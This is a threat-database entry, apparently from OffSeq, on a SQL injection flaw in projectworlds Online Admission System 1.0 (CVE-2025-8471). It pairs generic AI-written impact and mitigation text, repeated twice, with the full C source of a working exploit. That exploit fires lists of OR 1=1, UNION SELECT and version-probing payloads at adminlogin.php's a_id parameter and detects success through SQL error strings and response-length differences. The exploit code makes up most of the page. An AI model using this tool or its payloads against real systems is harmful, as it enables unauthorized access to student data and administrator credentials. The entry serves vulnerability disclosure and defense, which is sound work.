projectworlds Online Admission System 1.0 - SQL Injection
projectworlds Online Admission System 1.0 - SQL Injection
AI Analysis
Technical Summary
The identified threat concerns a SQL Injection vulnerability in the projectworlds Online Admission System version 1.0. SQL Injection is a critical web application security flaw that allows an attacker to manipulate backend SQL queries by injecting malicious input into application fields that are not properly sanitized. This vulnerability enables unauthorized access to the database, potentially exposing sensitive data such as student records, admission details, and administrative credentials. The exploit targets the admission system's web interface, which likely interacts with a relational database to manage user input and admission data. The presence of exploit code written in C indicates that a crafted program exists to automate or facilitate exploitation, possibly by sending specially crafted HTTP requests to the vulnerable endpoints. Although no specific affected versions are listed, the vulnerability is tied to version 1.0 of the software. The lack of patch information and the absence of known exploits in the wild suggest that this vulnerability may not yet be widely exploited but poses a significant risk if left unaddressed. The medium severity rating reflects the potential for data exposure and manipulation but may consider factors such as authentication requirements or complexity of exploitation that moderate the overall risk.
Potential Impact
For European organizations, especially educational institutions and administrative bodies using the projectworlds Online Admission System, this vulnerability could lead to unauthorized data disclosure, data tampering, and potential disruption of admission processes. Confidential student and applicant information could be leaked or altered, leading to privacy violations and compliance issues under regulations such as GDPR. Furthermore, attackers could escalate privileges or inject malicious commands, potentially compromising the integrity and availability of the system. The reputational damage and legal consequences for mishandling personal data could be significant. Given the critical role of admission systems in academic workflows, exploitation could also disrupt operational continuity during peak admission periods.
Mitigation Recommendations
Organizations should immediately conduct a thorough security assessment of their projectworlds Online Admission System installations. Specific mitigations include: 1) Implementing rigorous input validation and parameterized queries or prepared statements to prevent SQL Injection; 2) Employing web application firewalls (WAFs) configured to detect and block SQL Injection attempts; 3) Conducting code reviews and penetration testing focused on injection flaws; 4) Monitoring logs for suspicious database query patterns or anomalous access; 5) Restricting database user permissions to the minimum necessary to limit damage in case of exploitation; 6) Engaging with the software vendor or community to obtain patches or updates; if none are available, consider migrating to alternative, secure admission systems; 7) Educating developers and administrators on secure coding and configuration practices to prevent similar vulnerabilities.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland
Indicators of Compromise
- exploit-code: /* * Title : projectworlds Online Admission System 1.0 - SQL Injection * Author : Byte Reaper * CVE : CVE-2025-8471 */ #include <stdio.h> #include <string.h> #include <curl/curl.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #define FULL 2200 int verbose = 0; int selCookie = 0; const char *cookies; void sleepAssembly(void) { struct timespec s ; s.tv_sec = 0; s.tv_nsec = 500000000; __asm__ volatile ( "mov $35, %%rax\n\t" "xor %%rsi, %%rsi\n\t" "syscall\n\t" : : "D" (&s) : "rax", "rsi", "memory" ); } void syscallLinux() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); syscallLinux(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); syscallLinux(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long.\e[0m\n"); return 0; } return 0; } // Content Log File (Payload, url, full, http code response) int logFile(const char *payload, const char *urlB, long httpCodeResponse,size_t lenResponse) { FILE *file = fopen("result.log", "a"); if (file == NULL) { printf("\e[0;31m[-] Error Create File (result.log)\e[0m\n"); syscallLinux(); return 1; } printf("\e[0;36m[+] Create Log File Successfully.\e[0m\n"); char content[1500]; int lenG = snprintf(content, sizeof(content), "[+] BASE URL : %s\n[+] PAYLOAD Injection : %s\n[+] http code Response %ld\n[+] Response Len : %zu\n\n", urlB, payload, httpCodeResponse, lenResponse); if (checkLen(lenG,content , sizeof(content)) == 1) { printf("\e[0;31m[-] Len Content is Long !\e[0m\n"); syscallLinux(); return 1; } size_t fw = fwrite(content, 1, strlen(content), file); if (fw != strlen(content)) { printf("\e[0;31m[-] Error Write Content in Log file !\e[0m\n"); syscallLinux(); } printf("\e[0;36m[+] Write Log file Content Successfully.\e[0m\n"); fclose(file); if (verbose) { printf("\e[0;33m[+] Close Log File...\e[0m\n"); } return 0; } // Simple Two Stage Injection Payload const char *twoStageInjection[] = { "INSERT INTO stages (id,code) VALUES (3, 'UNION SELECT NULL --');", "SELECT SLEEP(2);", "SELECT code FROM stages WHERE id = 3;", NULL }; const char *deepInjection_Payload[] = { "'/**/OR/**/1=1--", "'/**/OR/**/'a'='a'--", "'/**/OR/**/1=1/**/AND/**/1=1--", "'/**/OR/**/1=1/**/AND/**/'1'='1'--", "\"/**/OR/**/1=1--", "\"/**/OR/**/1=1/**/AND/**/'a'='a'--", "'/**/UNION/**/SELECT/**/NULL,NULL--", "'/**/AND/**/1=1--", "'/**/AND/**/1=2--", "'/**/AND/**/'1'='1'--", "'/**/AND/**/'1'='2'--", "'/**/AND/**/EXISTS(SELECT/**/1)--", "'/**/OR/**/EXISTS(SELECT/**/1)--", "'/**/OR/**/1=1#", "'/**/OR/**/1=1/*", "'/**/AND/**/1=1/*", "'/**/AND/**/1=2/*", "'/**/OR/**/1=2/*", "'/**/AND/**/SUBSTRING(@@version,1,1)='5'--", "'/**/AND/**/SUBSTRING(@@version,1,1)='8'--", "'/**/OR/**/LOWER(database())/**/LIKE/**/'%test%'--", "'/**/OR/**/1=1/**/ORDER/**/BY/**/1--", NULL }; const char *wordSql[] = { "syntax error", "you have an error in your sql syntax", "warning", "mysql_fetch", "mysql_num_rows", "unclosed quotation mark", "quoted string not properly terminated", "sql syntax error", "unexpected end of sql command", "syntax error near", "database error", "query failed", "error in your query", "unknown column", "cannot execute query", "invalid query", "mysql error", "odbc sql", "sqlstate", "ora-", "sql error", "error occurred", "mysql_fetch_array", "native client", "syntax error in string in query expression", "Microsoft OLE DB Provider for SQL Server", "error message", "warning: mysql", "You have an error in your SQL syntax", NULL }; const char **allTechniques[] = { twoStageInjection, deepInjection_Payload, NULL }; size_t payloadInject(const char *urlP) { CURL *curl = curl_easy_init(); CURLcode res; struct Mem response; response.buffer = NULL; response.len = 0; if (curl == NULL || !curl) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); syscallLinux(); } if (curl) { char full[FULL]; for (int t = 0; allTechniques[t] != NULL; t++) { const char **payloads = allTechniques[t]; printf("\e[0;35m\n[+] Technique %d:\e[0m\n", t); for (int f = 0; payloads[f] != NULL; f++) { const char *pl = payloads[f]; char *encode = curl_easy_escape(curl, payloads[f], strlen(payloads[f])); if (!encode) { printf("\e[0;31m[-] Error Encode Payload !\e[0m\n"); syscallLinux(); } printf("\e[0;37m[+] Encode Payload : %s\e[0m\n", encode); int lenF = snprintf(full, sizeof(full), "%s/adminlogin.php?a_id=%s",urlP, encode); if (checkLen(lenF, full,sizeof(full)) == 1) { printf("\e[0;31m[-] Len full URL is Long !\e[0m"); syscallLinux(); } printf("\e[0;37m[+] Full URL : %s\e[0m\n", full); curl_easy_setopt(curl, CURLOPT_URL, full); if (selCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepAssembly(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *h = NULL; h = curl_slist_append(h, "Accept: text/html"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); h = curl_slist_append(h, "Connection: keep-alive"); h = curl_slist_append(h, "Referer: http://example.com"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); res = curl_easy_perform(curl); curl_slist_free_all(h); curl_free(encode); if (res == CURLE_OK) { long httpCode = 0; logFile(payloads[f], urlP, httpCode, response.len); char *u = NULL; curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &u); printf("\e[0;37m--------------------------------------------------------------------------------------------------------\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode); printf("\e[0;35m[+] Check Redirect : ======================\e[0m\n"); if (u) { printf("\e[0;34m[+] Redirect Page Detected .\e[0m\n"); } else { printf("\e[0;31m[-] Redirect Page Not Detected !\e[0m\n"); } printf("\e[0;35m==========================================\e[0m\n"); if (httpCode >= 200 && httpCode < 300) { printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n", httpCode); if (verbose) { if (response.buffer) { printf("\e[1;37m\n======================================== [Response ] ========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[Len] : %zu\e[0m\n", response.len); printf("\e[1;37m\n=============================================================================================\e[0m\n"); } } for (int j = 0; wordSql[j] != NULL; j++) { if (response.buffer) { if (strstr(response.buffer, wordSql[j]) != NULL) { printf("\e[0;34m[+] Word Found In Response \e[0m\n"); printf("\e[0;34m[+] Word : %s\e[0m\n", wordSql[j]); printf("\e[1;35m==================================== [WORD FOUND RESPONSE] ====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===============================================================================================\e[0m\n\n"); } else { printf("\e[0;31m[-] Not Found Word : %s\e[0m\n", wordSql[j]); } } } return response.len; } else { printf("\e[0;31m[-] Negative response code (%ld)!\e[0m\n", httpCode); } } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\n", curl_easy_strerror(res)); syscallLinux(); } } } curl_easy_cleanup(curl); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } } } size_t simpleRequest(const char *urls) { CURL *curl = curl_easy_init(); struct Mem responseS ; responseS.buffer = NULL; responseS.len = 0; if (curl == NULL || !curl) { syscallLinux(); } if (curl) { char full[FULL]; CURLcode res; int lenS = snprintf(full, sizeof(full), "%s/adminlogin.php", urls ); if (checkLen(lenS, full, sizeof(full)) == 1) { printf("\e[0;31m[-] Error Create Full url (Len is Long)\e[0m\n"); syscallLinux(); } else { printf("\e[0;34m[+] Full URL created successfully.\e[0m\n"); } curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseS); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (verbose) { printf("\e[1;35m------------------------------------------[VERBOSE CURL]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; char host[130]; char ref[150]; char ipDomain[400]; if (sscanf(urls, "%*[^:]://%[^/]", ipDomain) == 1) { printf("\e[0;34m[+] Get Host URL Successfully \e[0m\n"); printf("\e[0;34m[+] HOST Header Content : %s\e[0m\n", ipDomain); headers = curl_slist_append(headers, ipDomain); } else { printf("\e[1;31m[-] Error Get Target Ip In FULL URL !\e[0m\n"); printf("\e[0;31m[-] Host Header Not modified !\e[0m\n"); printf("\e[0;31m[-] HOST : NULL\e[0m\n"); } headers = curl_slist_append(headers, "Accept: text/html"); headers = curl_slist_append(headers, "Accept-Encoding: gzip"); headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); int lenR = snprintf(ref, sizeof(ref), "Referer: %s", full); if (checkLen(lenR, ref, sizeof(ref)) == 1) { printf("\e[0;31m[-] HEADER Referer Not modified !\n"); printf("\e[0;31m[-] DEFAULT HEADER Referer (http://exemple.com)\n"); headers = curl_slist_append(headers, "Referer: http://example.com"); } else { printf("\e[0;34m[+] Header Referer modified Successfully.\e[0m\n"); printf("\e[0;34m[+] Header Result (Referer) : %s\e[0m\n", ref); headers = curl_slist_append(headers, ref); } headers = curl_slist_append(headers, "Cache-Control: no-cache"); headers = curl_slist_append(headers, "Connection: keep-alive"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); long code = 0; if (res == CURLE_OK) { curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;32m[+] Http Code : %ld\e[0m\n", code); if (responseS.buffer) { if (verbose) { printf("\e[4;34m========================================= [SIMPLE REQUEST] =========================================\e[0m\n"); printf("%s\n", responseS.buffer); printf("\e[4;34m====================================================================================================\e[0m\n"); } printf("\e[0;34m[+] Regular order length : %zu\e[0m\n", responseS.len); } else { printf("\e[0;31m[-] Response is NULL !\e[0m\n"); } return responseS.len; } else { printf("\e[1;31m[-] Error Send Request !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); } } if (responseS.buffer) { free(responseS.buffer); responseS.buffer = NULL; responseS.len = 0; } curl_easy_cleanup(curl); } void value(const char *url) { size_t autoLen = simpleRequest(url); printf("\e[0;35m[+] Result Len Size (Regular order) : %zu\e[0m\n",autoLen); size_t lenInjectResponse = payloadInject(url); printf("\e[0;37m+-------------------------------------------------------------------------------------+\e[0m\n"); printf("\e[0;33m[+] Length comparison result (not a definitive criterion for successful injection)\n"); if (autoLen != lenInjectResponse) { printf("\e[0;34m[+] Length not compatible.\e[0m\n"); printf("\e[0;34m[+] Successfully injected via length measurement technique (%zu =! %zu)\n", autoLen,lenInjectResponse); } else { printf("\e[0;31m[-] No difference in length was detected !\e[0m\n"); printf("\e[0;31m[-] The length is similar in normal response and injection response (%zu =! %zu)\e[0m\n", autoLen,lenInjectResponse); } printf("\e[0;37m+-------------------------------------------------------------------------------------+\e[0m\n"); } int main(int argc, const char **argv) { printf( "\e[1;31m" "$$$$$$\\ $$\\ $$\\ $$$$$$$$\\ $$$$$$\\ $$$$$$\\ $$$$$$\\ $$$$$$$\\ $$$$$$\\ $$\\ $$\\ $$$$$$$$\\ $$\\ \n" "$$ __$$\\ $$ | $$ |$$ _____| $$ __$$\\ $$$ __$$\\ $$ __$$\\ $$ ____| $$ __$$\\ $$ | $$ |\\____$$ |$$$$ | \n" "$$ / \\__|$$ | $$ |$$ | \\__/ $$ |$$$$\\ $$ |\\__/ $$ |$$ | $$ / $$ |$$ | $$ | $$ / \\_$$ | \n" "$$ | \\$$\\ $$ |$$$$$\\ $$$$$$\\ $$$$$$ |$$\\$$\\$$ | $$$$$$ |$$$$$$$\\ $$$$$$\\ $$$$$$ |$$$$$$$$ | $$ / $$ | \n" "$$ | \\$$\\$$ / $$ __|\\______|$$ ____/ $$ \\$$$$ |$$ ____/ \\_____$$\\______|$$ __$$< \\_____$$ | $$ / $$ | \n" "$$ | $$\\ \\$$$ / $$ | $$ | $$ |\\$$$ |$$ | $$\\ $$ | $$ / $$ | $$ | $$ / $$ | \n" "\\$$$$$$ | \\$ / $$$$$$$$\\ $$$$$$$$\\ \\$$$$$$ /$$$$$$$$\\ \\$$$$$$ | \\$$$$$$ | $$ |$$ / $$$$$$\\ \n" " \\______/ \\_/ \\________| \\________| \\______/ \\________| \\______/ \\______/ \\_|\\__/ \\______| \n" "\e[1;37m \t\t\t\t\t\t\t\t\t\t\t\t Byte Reaper\n" ); printf("\e[1;31m---------------------------------------------------------------------------------------------------------------------------------------\n"); const char *baseurl = NULL; const char *nameFileC = NULL; struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &baseurl, "Enter Target Url (BASE URL)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!baseurl) { printf("\e[1;31m[-] Please Enter target Url !\e[0m\n"); printf("\e[1;31m[-] Example : ./exploit -u http://<TARGET>\e[0m\n"); syscallLinux(); } if (nameFileC) { selCookie = 1; } if (verbose) { verbose = 1; } value(baseurl); return 0; }
projectworlds Online Admission System 1.0 - SQL Injection
Description
projectworlds Online Admission System 1.0 - SQL Injection
AI-Powered Analysis
Technical Analysis
The identified threat concerns a SQL Injection vulnerability in the projectworlds Online Admission System version 1.0. SQL Injection is a critical web application security flaw that allows an attacker to manipulate backend SQL queries by injecting malicious input into application fields that are not properly sanitized. This vulnerability enables unauthorized access to the database, potentially exposing sensitive data such as student records, admission details, and administrative credentials. The exploit targets the admission system's web interface, which likely interacts with a relational database to manage user input and admission data. The presence of exploit code written in C indicates that a crafted program exists to automate or facilitate exploitation, possibly by sending specially crafted HTTP requests to the vulnerable endpoints. Although no specific affected versions are listed, the vulnerability is tied to version 1.0 of the software. The lack of patch information and the absence of known exploits in the wild suggest that this vulnerability may not yet be widely exploited but poses a significant risk if left unaddressed. The medium severity rating reflects the potential for data exposure and manipulation but may consider factors such as authentication requirements or complexity of exploitation that moderate the overall risk.
Potential Impact
For European organizations, especially educational institutions and administrative bodies using the projectworlds Online Admission System, this vulnerability could lead to unauthorized data disclosure, data tampering, and potential disruption of admission processes. Confidential student and applicant information could be leaked or altered, leading to privacy violations and compliance issues under regulations such as GDPR. Furthermore, attackers could escalate privileges or inject malicious commands, potentially compromising the integrity and availability of the system. The reputational damage and legal consequences for mishandling personal data could be significant. Given the critical role of admission systems in academic workflows, exploitation could also disrupt operational continuity during peak admission periods.
Mitigation Recommendations
Organizations should immediately conduct a thorough security assessment of their projectworlds Online Admission System installations. Specific mitigations include: 1) Implementing rigorous input validation and parameterized queries or prepared statements to prevent SQL Injection; 2) Employing web application firewalls (WAFs) configured to detect and block SQL Injection attempts; 3) Conducting code reviews and penetration testing focused on injection flaws; 4) Monitoring logs for suspicious database query patterns or anomalous access; 5) Restricting database user permissions to the minimum necessary to limit damage in case of exploitation; 6) Engaging with the software vendor or community to obtain patches or updates; if none are available, consider migrating to alternative, secure admission systems; 7) Educating developers and administrators on secure coding and configuration practices to prevent similar vulnerabilities.
Affected Countries
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52398
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for projectworlds Online Admission System 1.0 - SQL Injection
/* * Title : projectworlds Online Admission System 1.0 - SQL Injection * Author : Byte Reaper * CVE : CVE-2025-8471 */ #include <stdio.h> #include <string.h> #include <curl/curl.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #define FULL 2200 int verbose = 0; int selCookie = 0; const char *cookies; void sleepAssembly(void) { struct timespec s ; s.tv_sec = 0; s.tv_nsec = 500000000; __asm__ volatile ( "mov $35, %%rax\n\t... (21278 more characters)
Threat ID: 689a95b8ad5a09ad002b09a8
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 9/4/2025, 1:40:30 AM
Last updated: 9/23/2025, 6:47:05 PM
Views: 49
Related Threats
State-Sponsored Hackers Exploiting Libraesva Email Security Gateway Vulnerability
HighLibraesva ESG issues emergency fix for bug exploited by state hackers
CriticalCISA says hackers breached federal agency using GeoServer exploit
HighShadowLeak Exploit Exposed Gmail Data Through ChatGPT Deep Search Agent
HighGoogle Issues Urgent Chrome 140 Update After Zero-Day Exploited in the Wild
CriticalActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.